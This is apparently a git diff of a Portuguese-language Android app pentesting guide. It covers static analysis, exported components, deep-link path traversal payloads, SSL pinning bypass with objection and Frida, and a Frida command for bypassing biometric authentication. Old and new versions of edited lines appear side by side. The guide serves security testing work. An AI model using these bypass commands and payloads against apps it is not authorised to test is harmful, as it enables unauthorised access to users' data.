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@ -348,6 +348,7 @@
- [Webview Attacks](mobile-pentesting/android-app-pentesting/webview-attacks.md)
- [iOS Pentesting Checklist](mobile-pentesting/ios-pentesting-checklist.md)
- [iOS Pentesting](mobile-pentesting/ios-pentesting/README.md)
- [Air Keyboard Remote Input Injection](mobile-pentesting/ios-pentesting/air-keyboard-remote-input-injection.md)
- [iOS App Extensions](mobile-pentesting/ios-pentesting/ios-app-extensions.md)
- [iOS Basics](mobile-pentesting/ios-pentesting/ios-basics.md)
- [iOS Basic Testing Operations](mobile-pentesting/ios-pentesting/basic-ios-testing-operations.md)

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@ -13,7 +13,7 @@ android-applications-basics.md
## ADB (Android Debug Bridge)
Esta é a principal ferramenta que você precisa para se conectar a um dispositivo Android (emulado ou físico).\
**ADB** permite controlar dispositivos tanto via **USB** quanto via **Rede** a partir de um computador. Esta utilidade possibilita a **cópia** de arquivos em ambas as direções, **instalação** e **desinstalação** de aplicativos, **execução** de comandos de shell, **backup** de dados, **leitura** de logs, entre outras funções.
**ADB** permite controlar dispositivos tanto via **USB** quanto **Rede** a partir de um computador. Esta utilidade possibilita a **cópia** de arquivos em ambas as direções, **instalação** e **desinstalação** de aplicativos, **execução** de comandos de shell, **backup** de dados, **leitura** de logs, entre outras funções.
Dê uma olhada na seguinte lista de [**Comandos ADB**](adb-commands.md) para aprender como usar o adb.
@ -47,34 +47,40 @@ java -jar ../APKEditor.jar m -i splits/ -o merged.apk
# after merging, you will need to align and sign the apk, personally, I like to use the uberapksigner
java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
```
## Estudos de Caso & Vulnerabilidades
{{#ref}}
../ios-pentesting/air-keyboard-remote-input-injection.md
{{#endref}}
## Análise Estática
Primeiramente, para analisar um APK, você deve **dar uma olhada no código Java** usando um decompilador.\
Primeiramente, para analisar um APK você deve **dar uma olhada no código Java** usando um decompilador.\
Por favor, [**leia aqui para encontrar informações sobre diferentes decompiladores disponíveis**](apk-decompilers.md).
### Procurando informações interessantes
### Procurando Informações Interessantes
Apenas dando uma olhada nas **strings** do APK, você pode procurar por **senhas**, **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **chaves** **api**, **criptografia**, **bluetooth uuids**, **tokens** e qualquer coisa interessante... procure até mesmo por **backdoors** de execução de código ou backdoors de autenticação (credenciais de admin hardcoded para o app).
Apenas dando uma olhada nas **strings** do APK, você pode procurar por **senhas**, **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **chaves** **api**, **criptografia**, **bluetooth uuids**, **tokens** e qualquer coisa interessante... procure até por **backdoors** de execução de código ou backdoors de autenticação (credenciais de admin hardcoded para o app).
**Firebase**
Preste atenção especial às **URLs do firebase** e verifique se está mal configurado. [Mais informações sobre o que é o Firebase e como explorá-lo aqui.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
### Compreensão básica da aplicação - Manifest.xml, strings.xml
### Compreensão Básica da Aplicação - Manifest.xml, strings.xml
A **examinação dos arquivos _Manifest.xml_ e _strings.xml_ de uma aplicação pode revelar potenciais vulnerabilidades de segurança**. Esses arquivos podem ser acessados usando decompiladores ou renomeando a extensão do arquivo APK para .zip e, em seguida, descompactando-o.
A **examinação dos arquivos _Manifest.xml_ e **_strings.xml_** de uma aplicação pode revelar potenciais vulnerabilidades de segurança**. Esses arquivos podem ser acessados usando decompiladores ou renomeando a extensão do arquivo APK para .zip e, em seguida, descompactando-o.
As **vulnerabilidades** identificadas no **Manifest.xml** incluem:
**Vulnerabilidades** identificadas a partir do **Manifest.xml** incluem:
- **Aplicações Debugáveis**: Aplicações definidas como debuggable (`debuggable="true"`) no arquivo _Manifest.xml_ representam um risco, pois permitem conexões que podem levar à exploração. Para uma melhor compreensão sobre como explorar aplicações debuggables, consulte um tutorial sobre como encontrar e explorar aplicações debuggables em um dispositivo.
- **Aplicações Debugáveis**: Aplicações configuradas como debuggable (`debuggable="true"`) no arquivo _Manifest.xml_ representam um risco, pois permitem conexões que podem levar à exploração. Para uma melhor compreensão sobre como explorar aplicações debuggables, consulte um tutorial sobre como encontrar e explorar aplicações debuggables em um dispositivo.
- **Configurações de Backup**: O atributo `android:allowBackup="false"` deve ser explicitamente definido para aplicações que lidam com informações sensíveis para evitar backups de dados não autorizados via adb, especialmente quando a depuração USB está habilitada.
- **Segurança de Rede**: Configurações de segurança de rede personalizadas (`android:networkSecurityConfig="@xml/network_security_config"`) em _res/xml/_ podem especificar detalhes de segurança como pins de certificado e configurações de tráfego HTTP. Um exemplo é permitir tráfego HTTP para domínios específicos.
- **Atividades e Serviços Exportados**: Identificar atividades e serviços exportados no manifesto pode destacar componentes que podem ser mal utilizados. Uma análise mais aprofundada durante os testes dinâmicos pode revelar como explorar esses componentes.
- **Atividades e Serviços Exportados**: Identificar atividades e serviços exportados no manifesto pode destacar componentes que podem ser mal utilizados. Uma análise adicional durante testes dinâmicos pode revelar como explorar esses componentes.
- **Content Providers e FileProviders**: Content providers expostos podem permitir acesso ou modificação não autorizada de dados. A configuração de FileProviders também deve ser analisada.
- **Broadcast Receivers e Esquemas de URL**: Esses componentes podem ser aproveitados para exploração, com atenção especial a como os esquemas de URL são gerenciados para vulnerabilidades de entrada.
- **Versões do SDK**: Os atributos `minSdkVersion`, `targetSDKVersion` e `maxSdkVersion` indicam as versões do Android suportadas, destacando a importância de não suportar versões do Android desatualizadas e vulneráveis por razões de segurança.
Do arquivo **strings.xml**, informações sensíveis como chaves de API, esquemas personalizados e outras notas de desenvolvedor podem ser descobertas, sublinhando a necessidade de uma revisão cuidadosa desses recursos.
A partir do arquivo **strings.xml**, informações sensíveis como chaves de API, esquemas personalizados e outras notas de desenvolvedor podem ser descobertas, sublinhando a necessidade de uma revisão cuidadosa desses recursos.
### Tapjacking
@ -97,16 +103,16 @@ Mais informações em:
android-task-hijacking.md
{{#endref}}
### Armazenamento de dados inseguros
### Armazenamento de Dados Inseguro
**Armazenamento Interno**
No Android, arquivos **armazenados** no **armazenamento interno** são **projetados** para serem **acessíveis** exclusivamente pelo **app** que os **criou**. Essa medida de segurança é **imposta** pelo sistema operacional Android e geralmente é adequada para as necessidades de segurança da maioria das aplicações. No entanto, os desenvolvedores às vezes utilizam modos como `MODE_WORLD_READABLE` e `MODE_WORLD_WRITABLE` para **permitir** que arquivos sejam **compartilhados** entre diferentes aplicações. No entanto, esses modos **não restringem o acesso** a esses arquivos por outras aplicações, incluindo aquelas potencialmente maliciosas.
No Android, arquivos **armazenados** no **armazenamento interno** são **projetados** para serem **acessíveis** exclusivamente pela **aplicação** que **os criou**. Essa medida de segurança é **imposta** pelo sistema operacional Android e geralmente é adequada para as necessidades de segurança da maioria das aplicações. No entanto, os desenvolvedores às vezes utilizam modos como `MODE_WORLD_READABLE` e `MODE_WORLD_WRITABLE` para **permitir** que arquivos sejam **compartilhados** entre diferentes aplicações. No entanto, esses modos **não restringem o acesso** a esses arquivos por outras aplicações, incluindo aquelas potencialmente maliciosas.
1. **Análise Estática:**
- **Assegure-se** de que o uso de `MODE_WORLD_READABLE` e `MODE_WORLD_WRITABLE` seja **cuidadosamente analisado**. Esses modos **podem potencialmente expor** arquivos a **acessos não intencionais ou não autorizados**.
2. **Análise Dinâmica:**
- **Verifique** as **permissões** definidas em arquivos criados pelo app. Especificamente, **verifique** se algum arquivo está **definido para ser legível ou gravável globalmente**. Isso pode representar um risco significativo à segurança, pois permitiria que **qualquer aplicação** instalada no dispositivo, independentemente de sua origem ou intenção, **lesse ou modificasse** esses arquivos.
- **Verifique** as **permissões** definidas em arquivos criados pela aplicação. Especificamente, **verifique** se algum arquivo está **definido para ser legível ou gravável globalmente**. Isso pode representar um risco significativo à segurança, pois permitiria que **qualquer aplicação** instalada no dispositivo, independentemente de sua origem ou intenção, **lesse ou modificasse** esses arquivos.
**Armazenamento Externo**
@ -125,7 +131,7 @@ Ao lidar com arquivos no **armazenamento externo**, como cartões SD, certas pre
O armazenamento externo pode ser **acessado** em `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard`
> [!TIP]
> A partir do Android 4.4 (**API 17**), o cartão SD possui uma estrutura de diretório que **limita o acesso de um app ao diretório que é especificamente para aquele app**. Isso impede que aplicações maliciosas ganhem acesso de leitura ou gravação aos arquivos de outro app.
> A partir do Android 4.4 (**API 17**), o cartão SD possui uma estrutura de diretórios que **limita o acesso de um app ao diretório que é especificamente para aquele app**. Isso impede que aplicações maliciosas ganhem acesso de leitura ou gravação aos arquivos de outro app.
**Dados sensíveis armazenados em texto claro**
@ -151,7 +157,7 @@ Alguns desenvolvedores salvam dados sensíveis no armazenamento local e os cript
**Uso de Algoritmos Inseguros e/ou Obsoletos**
Os desenvolvedores não devem usar **algoritmos obsoletos** para realizar **verificações de autorização**, **armazenar** ou **enviar** dados. Alguns desses algoritmos são: RC4, MD4, MD5, SHA1... Se **hashes** forem usados para armazenar senhas, por exemplo, devem ser usados hashes resistentes a força bruta com sal.
Os desenvolvedores não devem usar **algoritmos obsoletos** para realizar **verificações de autorização**, **armazenar** ou **enviar** dados. Alguns desses algoritmos são: RC4, MD4, MD5, SHA1... Se **hashes** forem usados para armazenar senhas, por exemplo, hashes resistentes a força bruta **devem** ser usados com sal.
### Outras verificações
@ -179,11 +185,11 @@ Leia a página a seguir para aprender como acessar facilmente o código C# de ap
### Aplicações Superpacked
De acordo com este [**post de blog**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/), superpacked é um algoritmo Meta que comprime o conteúdo de uma aplicação em um único arquivo. O blog fala sobre a possibilidade de criar um aplicativo que descompacte esse tipo de aplicativo... e uma maneira mais rápida que envolve **executar a aplicação e coletar os arquivos descompactados do sistema de arquivos.**
De acordo com este [**post de blog**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/), superpacked é um algoritmo Meta que comprime o conteúdo de uma aplicação em um único arquivo. O blog fala sobre a possibilidade de criar um aplicativo que descompacta esse tipo de aplicativo... e uma maneira mais rápida que envolve **executar a aplicação e coletar os arquivos descompactados do sistema de arquivos.**
### Análise de Código Estática Automatizada
A ferramenta [**mariana-trench**](https://github.com/facebook/mariana-trench) é capaz de encontrar **vulnerabilidades** ao **escanear** o **código** da aplicação. Esta ferramenta contém uma série de **fontes conhecidas** (que indicam ao ferramenta os **lugares** onde a **entrada** é **controlada pelo usuário**), **sinks** (que indicam ao ferramenta **lugares perigosos** onde a entrada maliciosa do usuário pode causar danos) e **regras**. Essas regras indicam a **combinação** de **fontes-sinks** que indica uma vulnerabilidade.
A ferramenta [**mariana-trench**](https://github.com/facebook/mariana-trench) é capaz de encontrar **vulnerabilidades** ao **escanear** o **código** da aplicação. Esta ferramenta contém uma série de **fontes conhecidas** (que indicam à ferramenta os **lugares** onde a **entrada** é **controlada pelo usuário**), **sinks** (que indicam à ferramenta **lugares perigosos** onde a entrada maliciosa do usuário pode causar danos) e **regras**. Essas regras indicam a **combinação** de **fontes-sinks** que indicam uma vulnerabilidade.
Com esse conhecimento, **mariana-trench revisará o código e encontrará possíveis vulnerabilidades nele**.
@ -245,11 +251,11 @@ avd-android-virtual-device.md
> [!TIP]
> Ao criar um novo emulador em qualquer plataforma, lembre-se de que quanto maior a tela, mais lento o emulador funcionará. Portanto, selecione telas pequenas, se possível.
Para **instalar os serviços do google** (como AppStore) no Genymotion, você precisa clicar no botão marcado em vermelho na imagem a seguir:
Para **instalar os serviços do google** (como AppStore) no Genymotion, você precisa clicar no botão marcado em vermelho da imagem a seguir:
![](<../../images/image (277).png>)
Além disso, note que na **configuração da VM Android no Genymotion** você pode selecionar **Bridge Network mode** (isso será útil se você estiver se conectando à VM Android de uma VM diferente com as ferramentas).
Além disso, note que na **configuração da VM Android no Genymotion** você pode selecionar o **modo de rede Bridge** (isso será útil se você estiver se conectando à VM Android de uma VM diferente com as ferramentas).
#### Usar um dispositivo físico
@ -261,39 +267,39 @@ Você precisa ativar as opções de **depuração** e será legal se você puder
4. Pressione **Número da versão** 7 vezes.
5. Volte e você encontrará as **Opções de desenvolvedor**.
> Uma vez que você tenha instalado a aplicação, a primeira coisa que deve fazer é testá-la e investigar o que ela faz, como funciona e se familiarizar com ela.\
> Uma vez que você tenha instalado a aplicação, a primeira coisa que você deve fazer é testá-la e investigar o que ela faz, como funciona e se familiarizar com ela.\
> Sugiro que **realize esta análise dinâmica inicial usando a análise dinâmica do MobSF + pidcat**, para que possamos **aprender como a aplicação funciona** enquanto o MobSF **captura** muitos **dados interessantes** que você pode revisar mais tarde.
### Vazamento de Dados Não Intencionais
**Registro**
Os desenvolvedores devem ter cuidado ao expor **informações de depuração** publicamente, pois isso pode levar a vazamentos de dados sensíveis. As ferramentas [**pidcat**](https://github.com/JakeWharton/pidcat) e `adb logcat` são recomendadas para monitorar logs de aplicações para identificar e proteger informações sensíveis. **Pidcat** é preferido por sua facilidade de uso e legibilidade.
Os desenvolvedores devem ter cuidado ao expor **informações de depuração** publicamente, pois isso pode levar a vazamentos de dados sensíveis. As ferramentas [**pidcat**](https://github.com/JakeWharton/pidcat) e `adb logcat` são recomendadas para monitorar logs de aplicações para identificar e proteger informações sensíveis. **Pidcat** é favorecido por sua facilidade de uso e legibilidade.
> [!WARNING]
> Note que a partir de **versões mais recentes que Android 4.0**, **as aplicações só podem acessar seus próprios logs**. Portanto, as aplicações não podem acessar os logs de outros aplicativos.\
> Note que a partir de **versões mais recentes que o Android 4.0**, **as aplicações só podem acessar seus próprios logs**. Portanto, as aplicações não podem acessar os logs de outros aplicativos.\
> De qualquer forma, ainda é recomendado **não registrar informações sensíveis**.
**Cache de Buffer de Copiar/Colar**
O framework **baseado em clipboard** do Android permite funcionalidade de copiar e colar em aplicativos, mas apresenta um risco, pois **outros aplicativos** podem **acessar** o clipboard, potencialmente expondo dados sensíveis. É crucial **desabilitar funções de copiar/colar** para seções sensíveis de uma aplicação, como detalhes de cartão de crédito, para evitar vazamentos de dados.
O framework **baseado em clipboard** do Android permite a funcionalidade de copiar e colar em aplicativos, mas apresenta um risco, pois **outros aplicativos** podem **acessar** o clipboard, potencialmente expondo dados sensíveis. É crucial **desabilitar funções de copiar/colar** para seções sensíveis de uma aplicação, como detalhes de cartão de crédito, para evitar vazamentos de dados.
**Logs de Crash**
Se uma aplicação **crash** e **salvar logs**, esses logs podem ajudar atacantes, especialmente quando a aplicação não pode ser revertida. Para mitigar esse risco, evite registrar em crashes, e se os logs precisarem ser transmitidos pela rede, assegure-se de que sejam enviados através de um canal SSL para segurança.
Se uma aplicação **crash** e **salva logs**, esses logs podem ajudar atacantes, especialmente quando a aplicação não pode ser revertida. Para mitigar esse risco, evite registrar em crashes, e se os logs precisarem ser transmitidos pela rede, assegure-se de que sejam enviados por um canal SSL para segurança.
Como pentester, **tente dar uma olhada nesses logs**.
**Dados de Análise Enviados a Terceiros**
As aplicações frequentemente integram serviços como Google Adsense, que podem inadvertidamente **vazar dados sensíveis** devido à implementação inadequada pelos desenvolvedores. Para identificar potenciais vazamentos de dados, é aconselhável **interceptar o tráfego da aplicação** e verificar se há informações sensíveis sendo enviadas para serviços de terceiros.
As aplicações frequentemente integram serviços como Google Adsense, que podem inadvertidamente **vazar dados sensíveis** devido à implementação inadequada pelos desenvolvedores. Para identificar possíveis vazamentos de dados, é aconselhável **interceptar o tráfego da aplicação** e verificar se há informações sensíveis sendo enviadas para serviços de terceiros.
### Bancos de Dados SQLite
A maioria das aplicações usará **bancos de dados SQLite internos** para salvar informações. Durante o pentest, dê uma **olhada** nos **bancos de dados** criados, os nomes das **tabelas** e **colunas** e todos os **dados** salvos, pois você pode encontrar **informações sensíveis** (o que seria uma vulnerabilidade).\
Os bancos de dados devem estar localizados em `/data/data/the.package.name/databases` como `/data/data/com.mwr.example.sieve/databases`.
Se o banco de dados estiver salvando informações confidenciais e estiver **criptografado**, mas você conseguir **encontrar** a **senha** dentro da aplicação, ainda é uma **vulnerabilidade**.
Se o banco de dados estiver salvando informações confidenciais e estiver **criptografado**, mas você pode **encontrar** a **senha** dentro da aplicação, ainda é uma **vulnerabilidade**.
Enumere as tabelas usando `.tables` e enumere as colunas das tabelas fazendo `.schema <table_name>`.
@ -309,7 +315,7 @@ Além disso, lembre-se de que o código de uma atividade começa no método **`o
**Bypass de Autorização**
Quando uma Atividade é exportada, você pode invocar sua tela de um aplicativo externo. Portanto, se uma atividade com **informações sensíveis** for **exportada**, você poderia **burlar** os mecanismos de **autenticação** **para acessá-la.**
Quando uma Atividade é exportada, você pode invocar sua tela de um aplicativo externo. Portanto, se uma atividade com **informações sensíveis** for **exportada**, você pode **burlar** os mecanismos de **autenticação** **para acessá-la.**
[**Aprenda como explorar atividades exportadas com Drozer.**](drozer-tutorial/index.html#activities)
@ -348,13 +354,13 @@ Lembre-se de que as ações de um Serviço começam no método `onStartCommand`.
Um serviço é basicamente algo que **pode receber dados**, **processá-los** e **retornar** (ou não) uma resposta. Então, se um aplicativo estiver exportando alguns serviços, você deve **verificar** o **código** para entender o que ele está fazendo e **testá-lo** **dinamicamente** para extrair informações confidenciais, contornar medidas de autenticação...\
[**Aprenda como explorar Serviços com Drozer.**](drozer-tutorial/index.html#services)
### **Explorando Receptores de Broadcast**
### **Explorando Broadcast Receivers**
[**Leia isso se você quiser relembrar o que é um Receptor de Broadcast.**](android-applications-basics.md#broadcast-receivers)\
Lembre-se de que as ações de um Receptor de Broadcast começam no método `onReceive`.
[**Leia isso se você quiser relembrar o que é um Broadcast Receiver.**](android-applications-basics.md#broadcast-receivers)\
Lembre-se de que as ações de um Broadcast Receiver começam no método `onReceive`.
Um receptor de broadcast estará aguardando um tipo de mensagem. Dependendo de como o receptor lida com a mensagem, ele pode ser vulnerável.\
[**Aprenda como explorar Receptores de Broadcast com Drozer.**](#exploiting-broadcast-receivers)
Um broadcast receiver estará esperando por um tipo de mensagem. Dependendo de como o receptor lida com a mensagem, ele pode ser vulnerável.\
[**Aprenda como explorar Broadcast Receivers com Drozer.**](#exploiting-broadcast-receivers)
### **Explorando Schemes / Deep links**
@ -383,7 +389,7 @@ Toda vez que você encontrar um deep link, verifique se **não está recebendo d
**Parâmetros no caminho**
Você **também deve verificar se algum deep link está usando um parâmetro dentro do caminho** da URL como: `https://api.example.com/v1/users/{username}`, nesse caso você pode forçar uma travessia de caminho acessando algo como: `example://app/users?username=../../unwanted-endpoint%3fparam=value`.\
Note que se você encontrar os endpoints corretos dentro do aplicativo, pode ser capaz de causar um **Open Redirect** (se parte do caminho for usada como nome de domínio), **assumir conta** (se você puder modificar os detalhes dos usuários sem token CSRF e o endpoint vulnerável usar o método correto) e qualquer outra vulnerabilidade. Mais [info sobre isso aqui](http://dphoeniixx.com/2020/12/13-2/).
Note que se você encontrar os endpoints corretos dentro da aplicação, pode ser capaz de causar um **Open Redirect** (se parte do caminho for usada como nome de domínio), **assumir a conta** (se você puder modificar os detalhes dos usuários sem token CSRF e o endpoint vulnerável usar o método correto) e qualquer outra vulnerabilidade. Mais [info sobre isso aqui](http://dphoeniixx.com/2020/12/13-2/).
**Mais exemplos**
@ -391,8 +397,8 @@ Um [relatório de bug bounty interessante](https://hackerone.com/reports/855618)
### Inspeção e Falhas de Verificação da Camada de Transporte
- **Os certificados nem sempre são inspecionados corretamente** por aplicativos Android. É comum que esses aplicativos ignorem avisos e aceitem certificados autoassinados ou, em alguns casos, revertam para usar conexões HTTP.
- **As negociações durante o handshake SSL/TLS às vezes são fracas**, empregando suítes de cifra inseguras. Essa vulnerabilidade torna a conexão suscetível a ataques man-in-the-middle (MITM), permitindo que atacantes decifrem os dados.
- **Os certificados nem sempre são inspecionados corretamente** por aplicativos Android. É comum que esses aplicativos ignorem avisos e aceitem certificados autoassinados ou, em alguns casos, voltem a usar conexões HTTP.
- **As negociações durante o handshake SSL/TLS às vezes são fracas**, empregando suítes de cifra inseguras. Essa vulnerabilidade torna a conexão suscetível a ataques man-in-the-middle (MITM), permitindo que atacantes decriptografem os dados.
- **Vazamento de informações privadas** é um risco quando aplicativos se autenticam usando canais seguros, mas depois se comunicam por canais não seguros para outras transações. Essa abordagem falha em proteger dados sensíveis, como cookies de sessão ou detalhes do usuário, de interceptação por entidades maliciosas.
#### Verificação de Certificado
@ -415,7 +421,7 @@ Se **Flutter** estiver sendo usado, você precisa seguir as instruções nesta [
Quando o SSL Pinning é implementado, contorná-lo se torna necessário para inspecionar o tráfego HTTPS. Vários métodos estão disponíveis para esse propósito:
- Modificar automaticamente o **apk** para **contornar** o SSLPinning com [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). O melhor pró dessa opção é que você não precisará de root para contornar o SSL Pinning, mas precisará excluir o aplicativo e reinstalar o novo, e isso nem sempre funcionará.
- Modifique automaticamente o **apk** para **contornar** o SSL Pinning com [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). A melhor vantagem dessa opção é que você não precisará de root para contornar o SSL Pinning, mas precisará excluir o aplicativo e reinstalar o novo, e isso nem sempre funcionará.
- Você pode usar **Frida** (discutido abaixo) para contornar essa proteção. Aqui está um guia para usar Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
- Você também pode tentar **contornar automaticamente o SSL Pinning** usando [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
- Você também pode tentar **contornar automaticamente o SSL Pinning** usando **análise dinâmica do MobSF** (explicado abaixo)
@ -423,11 +429,11 @@ Quando o SSL Pinning é implementado, contorná-lo se torna necessário para ins
#### Procurando Vulnerabilidades Comuns na Web
É importante também procurar vulnerabilidades comuns na web dentro do aplicativo. Informações detalhadas sobre como identificar e mitigar essas vulnerabilidades estão além do escopo deste resumo, mas são amplamente cobertas em outros lugares.
É importante também procurar vulnerabilidades comuns na web dentro da aplicação. Informações detalhadas sobre como identificar e mitigar essas vulnerabilidades estão além do escopo deste resumo, mas são amplamente cobertas em outros lugares.
### Frida
[Frida](https://www.frida.re) é um kit de ferramentas de instrumentação dinâmica para desenvolvedores, engenheiros reversos e pesquisadores de segurança.\
[Frida](https://www.frida.re) é uma ferramenta de instrumentação dinâmica para desenvolvedores, engenheiros reversos e pesquisadores de segurança.\
**Você pode acessar aplicativos em execução e conectar métodos em tempo de execução para mudar o comportamento, alterar valores, extrair valores, executar códigos diferentes...**\
Se você quiser fazer pentesting em aplicativos Android, precisa saber como usar o Frida.
@ -466,7 +472,7 @@ frida -U -f com.example.app -l frida-scripts/tracer-cipher.js
```
### **Bypass de Impressão Digital/Biometria**
Usando o seguinte script Frida, pode ser possível **bypassar a autenticação por impressão digital** que aplicativos Android podem estar realizando para **proteger certas áreas sensíveis:**
Usando o seguinte script Frida, pode ser possível **burlar a autenticação por impressão digital** que aplicativos Android podem estar realizando para **proteger certas áreas sensíveis:**
```bash
frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app.package>
```
@ -490,7 +496,7 @@ Esta ferramenta pode ajudar você a gerenciar diferentes ferramentas durante a a
Os desenvolvedores frequentemente criam componentes proxy como atividades, serviços e receptores de broadcast que manipulam esses Intents e os passam para métodos como `startActivity(...)` ou `sendBroadcast(...)`, o que pode ser arriscado.
O perigo reside em permitir que atacantes acionem componentes de aplicativo não exportados ou acessem provedores de conteúdo sensíveis ao desviar esses Intents. Um exemplo notável é o componente `WebView` convertendo URLs em objetos `Intent` via `Intent.parseUri(...)` e, em seguida, executando-os, potencialmente levando a injeções de Intent maliciosas.
O perigo reside em permitir que atacantes acionem componentes de aplicativo não exportados ou acessem provedores de conteúdo sensíveis ao redirecionar esses Intents. Um exemplo notável é o componente `WebView` convertendo URLs em objetos `Intent` via `Intent.parseUri(...)` e, em seguida, executando-os, potencialmente levando a injeções de Intent maliciosas.
### Principais Conclusões
@ -504,8 +510,8 @@ O perigo reside em permitir que atacantes acionem componentes de aplicativo não
Provavelmente você conhece esse tipo de vulnerabilidades da Web. Você deve ter cuidado especial com essas vulnerabilidades em uma aplicação Android:
- **Injeção SQL:** Ao lidar com consultas dinâmicas ou Content-Providers, certifique-se de usar consultas parametrizadas.
- **Injeção de JavaScript (XSS):** Verifique se o suporte a JavaScript e Plugins está desativado para quaisquer WebViews (desativado por padrão). [Mais informações aqui](webview-attacks.md#javascript-enabled).
- **Inclusão de Arquivo Local:** WebViews devem ter o acesso ao sistema de arquivos desativado (ativado por padrão) - `(webview.getSettings().setAllowFileAccess(false);)`. [Mais informações aqui](webview-attacks.md#javascript-enabled).
- **Injeção de JavaScript (XSS):** Verifique se o suporte a JavaScript e Plugins está desativado para qualquer WebView (desativado por padrão). [Mais informações aqui](webview-attacks.md#javascript-enabled).
- **Inclusão de Arquivo Local:** WebViews devem ter acesso ao sistema de arquivos desativado (ativado por padrão) - `(webview.getSettings().setAllowFileAccess(false);)`. [Mais informações aqui](webview-attacks.md#javascript-enabled).
- **Cookies Eternos**: Em vários casos, quando a aplicação android finaliza a sessão, o cookie não é revogado ou pode até ser salvo no disco.
- [**Secure Flag** em cookies](../../pentesting-web/hacking-with-cookies/index.html#cookies-flags)
@ -534,7 +540,7 @@ O MobSF também permite que você faça uma análise de **diff/Comparação** e
**MobSF** também pode ser muito útil para **análise dinâmica** em **Android**, mas nesse caso você precisará instalar o MobSF e **genymotion** em seu host (uma VM ou Docker não funcionará). _Nota: Você precisa **iniciar primeiro uma VM no genymotion** e **depois o MobSF.**_\
O **analisador dinâmico do MobSF** pode:
- **Extrair dados da aplicação** (URLs, logs, área de transferência, capturas de tela feitas por você, capturas de tela feitas por "**Exported Activity Tester**", e-mails, bancos de dados SQLite, arquivos XML e outros arquivos criados). Tudo isso é feito automaticamente, exceto pelas capturas de tela, você precisa pressionar quando quiser uma captura de tela ou precisa pressionar "**Exported Activity Tester**" para obter capturas de tela de todas as atividades exportadas.
- **Extrair dados da aplicação** (URLs, logs, área de transferência, capturas de tela feitas por você, capturas de tela feitas pelo "**Exported Activity Tester**", e-mails, bancos de dados SQLite, arquivos XML e outros arquivos criados). Tudo isso é feito automaticamente, exceto pelas capturas de tela, você precisa pressionar quando quiser uma captura de tela ou precisa pressionar "**Exported Activity Tester**" para obter capturas de tela de todas as atividades exportadas.
- Capturar **tráfego HTTPS**
- Usar **Frida** para obter **informações em tempo de execução**
@ -577,9 +583,9 @@ receivers
Quando o tráfego http é capturado, você pode ver uma visão feia do tráfego capturado no "**Tráfego HTTP(S)**" na parte inferior ou uma visão mais agradável no botão verde "**Iniciar HTTPTools**". A partir da segunda opção, você pode **enviar** as **requisições capturadas** para **proxies** como Burp ou Owasp ZAP.\
Para fazer isso, _ligue o Burp -->_ _desative o Intercept --> no MobSB HTTPTools selecione a requisição_ --> pressione "**Enviar para Fuzzer**" --> _selecione o endereço do proxy_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)).
Uma vez que você termine a análise dinâmica com MobSF, você pode pressionar em "**Iniciar Web API Fuzzer**" para **fuzz http requests** e procurar vulnerabilidades.
Uma vez que você termine a análise dinâmica com MobSF, você pode pressionar em "**Iniciar Web API Fuzzer**" para **fuzz http requests** e procurar por vulnerabilidades.
> [!DICA]
> [!TIP]
> Após realizar uma análise dinâmica com MobSF, as configurações do proxy podem estar mal configuradas e você não conseguirá corrigi-las pela GUI. Você pode corrigir as configurações do proxy fazendo:
>
> ```
@ -633,7 +639,7 @@ super-analyzer {apk_file}
StaCoAn é uma ferramenta **multiplataforma** que ajuda desenvolvedores, caçadores de bugs e hackers éticos a realizar [análise de código estático](https://en.wikipedia.org/wiki/Static_program_analysis) em aplicativos móveis.
O conceito é que você arrasta e solta seu arquivo de aplicativo móvel (um arquivo .apk ou .ipa) na aplicação StaCoAn e ela gerará um relatório visual e portátil para você. Você pode ajustar as configurações e listas de palavras para obter uma experiência personalizada.
O conceito é que você arraste e solte seu arquivo de aplicativo móvel (um arquivo .apk ou .ipa) na aplicação StaCoAn e ela gerará um relatório visual e portátil para você. Você pode ajustar as configurações e listas de palavras para obter uma experiência personalizada.
Baixe a [última versão](https://github.com/vincentcox/StaCoAn/releases):
```
@ -641,7 +647,7 @@ Baixe a [última versão](https://github.com/vincentcox/StaCoAn/releases):
```
### [AndroBugs](https://github.com/AndroBugs/AndroBugs_Framework)
AndroBugs Framework é um sistema de análise de vulnerabilidades do Android que ajuda desenvolvedores ou hackers a encontrar potenciais vulnerabilidades de segurança em aplicativos Android.\
O AndroBugs Framework é um sistema de análise de vulnerabilidades do Android que ajuda desenvolvedores ou hackers a encontrar potenciais vulnerabilidades de segurança em aplicativos Android.\
[Windows releases](https://github.com/AndroBugs/AndroBugs_Framework/releases)
```
python androbugs.py -f [APK file]
@ -700,7 +706,7 @@ Encontre um guia passo a passo para deobfuscar o apk em [https://blog.lexfo.fr/d
### [DeGuard](http://apk-deguard.com)
**DeGuard reverte o processo de ofuscação realizado por ferramentas de ofuscação do Android. Isso permite inúmeras análises de segurança, incluindo inspeção de código e previsão de bibliotecas.**
**DeGuard reverte o processo de ofuscação realizado por ferramentas de ofuscação do Android. Isso possibilita inúmeras análises de segurança, incluindo inspeção de código e previsão de bibliotecas.**
Você pode enviar um APK ofuscado para a plataforma deles.
@ -718,7 +724,7 @@ APKiD fornece informações sobre **como um APK foi feito**. Ele identifica muit
### Manual
[Leia este tutorial para aprender algumas dicas sobre **como reverter ofuscação personalizada**](manual-deobfuscation.md)
[Leia este tutorial para aprender alguns truques sobre **como reverter ofuscação personalizada**](manual-deobfuscation.md)
## Labs

View File

@ -168,17 +168,17 @@ A estrutura de um **arquivo IPA** é essencialmente a de um **pacote zipado**. A
